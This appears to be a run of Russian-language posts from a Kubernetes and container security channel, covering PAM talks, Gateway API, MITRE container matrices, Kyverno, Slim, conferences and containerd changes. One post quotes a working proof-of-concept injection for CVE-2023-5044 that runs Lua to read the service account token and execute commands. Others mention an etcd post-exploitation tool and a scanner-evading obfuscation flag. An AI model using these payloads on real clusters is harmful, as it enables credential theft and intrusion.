При построении системы безопасности в Linux и Kubernetes инфраструктурах их неотъемлемой частью является Privileged Access Management (PAM) (мы поднимали уже эту тему тут и тут). Как к этому подойти и на что важно обратить внимание при построении этого кубика безопасности поможет серия выступлений от Антона Жаболенко и Павла Пархомца:
1) "Организация привилегированного доступа к Linux-инфраструктуре"
2) "Строим свой PAM на основе Teleport"
3) "Управляем доступом в распределённой Linux-инфраструктуре"

Рекомендуется смотреть именно в такой последовательности самими авторами, а при возникновении каких-то вопросов можно уточнить их у нас в комментариях ;)

В конце прошлой недели мы рассказывали о трёх свежих CVE для Ingress-NGINX Controller. Несмотря на то что, в описании CVE-2023-5044 есть некоторые подробности от человека, написавшего репорт, до сих пор нет ни одного реального PoC в публичном доступе. Автор статьи "Exploiting CVE-2023-5044" решил эту проблему.

Сначала автор попытался использовать alias и root directives для доступа к чувствительным файлам, однако этого не получилось, потому что они были выключены. После этого, прибегнув к использованию lua noscripts и небольшой помощи ChatGPT получился рабочий PoC:

nginx.ingress.kubernetes.io/permanent-redirect: https://www.mccune.org.uk;}location ~* "^/flibble(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/flibblea(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'

Это зрело давно (начало положено 4 года назад) и приближается все ближе - мы о том что ресурсы Gateway API заменят ресурс Ingress API. В их парочке первый в сообществе называют next generation Ingress API. Как раз подтверждением этого является заметка в официальном блоге Kubernetes под названием "Gateway API v1.0: GA Release".

Оказывается на странице проекта есть даже раздел "Migrating from Ingress" и с ним также можно заблаговременно ознакомиться ;) Но не поймите не правильно Ingress никуда не девается. Но мы явно наблюдаем еще один виток расширения Kubernetes инфраструктуры.

А если вам интересно это попробовать и поиграться с этим, то стоит начать вот от сюда.

P.S. В комментариях расскажите кто что уже пробовал или что думаете на этот счет.

4 декабря мы будем участниками круглого стола "За пределами SDL", что пройдет в рамках конференции ИСП РАН Им. В.П. Иванникова.

В планах обсудить вопросы развития и применения технологий и инструментов, которые разрабатываются друзьями института и активными участниками сообщества Центра компетенций ФСТЭК России и ИСП РАН. А также, подходы к выстраиванию безопасной архитектуры, композиционный анализ, анализ защищенности Kubernetes-кластеров, тестирование на проникновение и BugBounty, статический анализ веб-языков программирования, а также формирование подходов к объединению вышеуказанных технологий в унифицированные среды и методологии безопасной разработки и испытаний.

Это будет самая не формальная часть официальной программы. И здорово, что в таких организациях есть ряд молодых и очень активных людей, которые поднимают передовые, технологические вопросы, а не только регуляторику =)

P.S. Традиционный виски-клуб от активной части организаторов как обычно, но тут кто знает тот знает ;)

P.S.S. Будем рады пообщаться там лично!

24-25 октября прошла конференция ATT&CKCON 4.0 (организована компанией MITRE), где без внимания не остались и контейнеры.

Авторы доклада "Cloud Native Workload ATT&CK Matrix" поднимают вопросы и вызовы, с которыми сталкиваются организации при работе с Cloud Native нагрузками, и предлагают пересмотр существующих методов моделирования угроз и создание новой матрицы ATT&CK для повышения уровня защиты и обнаружения угроз. Всё это разбирается на примере нашумевшей атаки SCARLETEEL.

На самом деле ничего нового они не предлагают, а лишь критикуют имеющееся. В дополнение, авторы приводят список нерелевантных техник из Enterprise матрицы (тут можно не согласиться).

Со слайдами можно ознакомиться здесь.

Продолжим тему предыдущего поста про организацию MITRE, а точнее про их матрицы. Как правило они обновляют их два раза в год, в том числе и после конференции ATT&CKCON 4.0. Матрица Enterprise обновилась, а это значит, что и Container Matrix тоже.

Были добавлены следующие техники: Account Manipulation, Create Account, Data Destruction и Endpoint Denial of Service. Несмотря на то, что матрица посвящена контейнерам, в ней всё чаще встречаются прямые отсылки к Kubernetes (что не может не радовать).

16 ноября в Москве пройдет конференция VK Kubernetes Conf, посвященная она как не сложно догадаться Kubernetes. Мы не могли остаться в стороне : Сергей Канибор (сотрудник Luntry и один из авторов данного канала) выступит на мероприятии с докладом «Экскурсия по матрицам угроз для контейнеров и Kubernetes» (последними нашим постам [1,2] мы вас уже немножко ввели в контекст). Еще вы можете вспомнить наш недавний релиз инструмента MTKPI и там мы тоже мапили его возможности на матрицу угроз (рекомендуем освежить в памяти).

Так Сергей подробно расскажет об основных матрицах угроз для контейнеров и K8s, об их отличиях и недостатка, а также на примерах покажет как это может работать и не работать ...

P.S. Таким образом с нами можно встретиться и пообщаться 14-15 ноября на SOC Forum, а 16 ноября на VK Kubernetes Conf!

Начнем эту короткую неделею с интересного прототипа kube-rebac-authorizer.

Важные моменты:
1) Kubernetes поддерживает множество authorizers и они могут работать в цепочке
2) Классическая, всем знакомая цепочка состоит из двух authorizers: Node и RBAC
3) Kubernetes позволяет заменять и добавлять собственные authorizers через webhook

Данный проект это как раз демонстрация реализация собственного authorizer! Его уникальные черты:
- Реализует Relation-based Access Control (ReBAC)
- ReBAC это развитие RBAC и ABAC
- Базируется на идеи Google Zanzibar
- В основе OpenSource реализации CNCF project OpenFGA
- Структура графа с узлами (субъекты, объекты) и ребрами (права доступа)
- Проект объединяет Node и RBAC authorizers в один компонент
- Дает возможность fine-grained доступа

Видео доклада "Beyond RBAC: Implementing Relation-based Access Control for Kubernetes with OpenFGA" про этот прототип с Cloud Native Rejekts NA 2023 (забавный факт - конфа для докладов, которые не приняли KubeCon + CloudNativeCon).

Совсем недавно мы рассказывали о докладе "Post-Exploiting a Compromised ETCD - Luis Toro Puig, NCC Group" с прошедшего Kubecon China 2023.

В докладе был упомянут инструмент – kubetcd, и вчера он стал доступен для всех желающих. Тулза по факту является обёрткой над auger и умеет создавать новые Pods, обходить AdmissionControllers и ещё много чего в скомпрометированном ETCD. Также стало доступно видео с выступления и статья Post-exploiting a compromised etcd – Full control over the cluster and its nodes от автора доклада.

Отдельно хочется поблагодарить самого автора (и по совместительству подписчика нашего канала)– Luis Toro Puig. Задавайте свои вопросы по докладу и инструменту в комментариях на английском языке, а он постарается ответить на них ;)

Как мы уже неоднократно рассказывали одним из способов уменьшить «шум» от сканеров известных уязвимостей — это уменьшить количество компонентов, которые лежат в образе. И к этому глобально можно подойти 2 способами (multi-stage сборку рассматриваем как само собой разумеющееся):
1) На основе специализированного образа (scratch, alpine, distroless, chainguard)
2) На основе динамического анализа

Если о первом способе мы много пишем и многие знают, то про второй как раз нет. Ввиду того что нужен специальный инструментарий для этого. И такой инструментарий как раз есть - проект Slim (или SlimToolkit ранее известный как DockerSlim).

Проект позволяет посмотреть, что действительно используется во время работы и только это и оставить в итоговом образе! Но как вы понимаете тут очень важно (как и в случае любого динамического анализа) это покрытие кода тестами ...

Но сегодня хотелось бы отметить и еще одну новую экспериментальную фичу/флаг --obfuscate-metadata, которая вдохновлена докладом "Malicious Compliance" (мы писали о нем тут и тут). Да, он автоматом обфусцирует (реализация тут) данные о пакетах python, ruby, node и сканеры не видят уязвимости ;)

И повторим важную мысль относительно сканеров уязвимостей: "Все подходы, анализы на базе статического анализа позволяют защититься только лишь от легитимного пользователя, но не являются никакой помехой для вредоносного"

kubernetes-for-soc – репозиторий, призванный ускорить процесс обучения аналитиков SOC, позволив им быстро освоить необходимые основные понятия и знания. Быстрый темп развития технологий оставляет SOC аналитикам мало времени для приобретения глубоких знаний и опыта, необходимых для эффективной защиты и/или мониторинга внедрений Kubernetes.

Репозиторий состоит из двух частей: threat model и observability (скоро обещают добавить третью часть – checklist). В нём отражены основные threats, threat actors, attack vectors и attack path присущие Kubernetes.

Но всё-таки это нельзя назвать полноценным руководством. Однако для SOC аналитиков, которые никогда не трогали Kubernetes будет полезно.

Хотим напомнить, что уже на следующей неделе, а именно 14 и 15 ноября нас можно будет найти на SOC-Forum 2023: там мы представим два доклада «SOC в контейнерах» и «EDR vs Containers: актуальные проблемы».

openSUSE MicroOS - еще одна container specific OS. Если Flatcar, Talos у многих уже на слуху, то эта ОС нет. По своей концепции она ближе к Flatcar. А так обладает всеми свойствами присущими специализированным ОС для запуска контейнеров. Видно, что направление развивается и все больше игроков/проектов появляется. Возможно, кому-то приглянется именно это реализации (в первую очередь ставим на пользователей Rancher).

Так уже в принципе глупо отрицать тот факт, что сегодня при построении контейнерной инфраструктуры требуется специализированная ОС, а не ОС общего назначения, чтобы получиться все преимущества от использования контейнеров как для сопровождения, так и для обеспечения безопасности.

Уже завтра стартует SOC Forum 2023, где наша команда Luntry представит 2 доклада. Также там у нас будет стенд с интересными подарками, которые можно получить за участие в небольшой игре/активности для которой мы приготовили вот такие карточки. Так что все кто будет на конференции - подходите, участвуйте, спрашивайте про безопасность контейнеров и Kubernetes!

С недавнего времени Kyverno теперь может валидировать не только Kubernetes, но и впринципе любые ресурсы. Мы уже рассказывали о возможностях Kyverno [1,2] и даже вкратце затрагивали проект json-validator, который скорее всего вылился в новый – kyverno-json.

Сейчас авторы предлагают использовать новый проект для валидации:

- Terraform files
- Dockerfiles
- Cloud configurations
- Service authorization requests

kyverno-json можно запускать как CLI, веб-приложение с REST API или использовать в качестве библиотеки Golang. Уже сейчас доступна небольшая библиотека политик для AWS, ECS и Dockerfile. Также есть возможность попробовать новый проект онлайн – по ссылке доступен playground.

Мало кто знает, но в документации Google Cloud есть прям замечательная (и очень большая) библиотека правил для OPA Gatekeeper - их там порядка 90! При этом они идут с примерами как удовлетворяющих их ресурсов, так и нет (считай тесты).

Отличная библиотека для вдохновения и оценки собственного набора политик. При желании тоже самое можно перенести и на Kyverno.

На недавно прошедшей конференции EnvoyCon был представлен довольно интересный доклад на тему security, а именно – Envoy Gateway End User Threat Model Report: Raising Awareness of Gateway API Security.

Также автор доклада поделился репозиторием созданным по мотивам доклада, где рассмотрел Compromised Proxy Scenario, Compromised Controller Scenario, нарисовал возможные деревья атак и приложил k8s ресурсы для воспроизведения своей демо из доклада

Напомним, что сегодня наша команда Luntry (достаточно в большом составе и оба авторы данного канала будут на сцене) будет на VK Kubernetes Conf! Там мы и доклад представим и в круглом столе про развитие Kubernetes поучаствуем (в следующем году ему будет 10 лет если отсчитывать от Initial release)!

Будем рады пообщаться лично =)

Недавно наши хорошие товарищи поделились (а теперь и мы с вами) своим проектом, которые они уже сами у себя используют более чем 2 года.

Проект называется k8s-calico-networksets-controller и он по сути добавляет поддержку FQDN в NetworkPolicy от CNI Calico!

Вся магия происходит с помощью selector в NetworkPolicy с определённым label и через создание/обновление Calico NetworkSet.

Если вам не хватало поддержки FQDN в NetworkPolicy от CNI Calico, то это решение для вас)

P.S. Всем хороших выходных!

В конце прошлой недели вышел Kyverno 1.11 с новыми возможностями:

1) Добавлен новый тип подправила validate.cel, позволяющий использовать выражения Common Expression Language (CEL) для проверки ресурсов.
2) Улучшения в Policy Report: теперь для каждого ресурса создается PolicyReport, который автоматически удаляется при удалении соответствующего ресурса. AdmissionReports и BackgroundScanReports теперь считаются эфемерными и очищаются после объединения в итоговые отчеты.
3) Обновления Notary: добавлена поддержка проверки аттестатов OCI 1.1.
4) Поддержка Cosign 2.0: теперь проверка Tlogs и SCTs включена по умолчанию и может быть отключена через атрибуты в политике.
5) Кэширование проверки образов для ускорения процесса.
6) Возможность очистки ресурсов через TTL label cleanup.kyverno.io/ttl. Присвоение метки ресурсу с необходимыми правами приведет к его удалению в указанное время.
7) Переработка CLI и новая схема тестирования.

Наш хороший товарищ Павел Сорокин (вы могли его видеть среди докладчиков на нашей конференции БЕКОН) у себя на канале сделал замечательную серию очень технических постов про hostPID: true и --pid=host:

Часть 1
Часть 2
Часть 3
Часть 4

А именно он разбирается к каким последствиям может привести наличие данных параметров и какие механизмы безопасности (Yama, AppArmor) каким образом могут это ограничить.

Также можно вспомнить про замечательный репозиторий BadPods и там также глянуть эту тему ;)

Заглянув в release notes к бета-версии Containerd v2, мы с радостью увидели изменение, запрещающее доступ к io_uring по умолчанию.

io_uring был использован во многих уязвимостей ядра для повышения привилегий и побега из контейнера, о чем мы уже как-то рассказывали на канале, поэтому, если нет необходимости, очевидно, что его следует отключить. Мы уверены, что со временем эта функция стабилизируется и улучшится, но на данный момент она кажется довольно рискованной.

Помимо этого изменения, хотелось бы отметить ещё пару:

- Add support for userns in stateless and stateful pods with idmap mounts (KEP-127, k8s >= 1.27)
- Add support for user namespaces (KEP-127)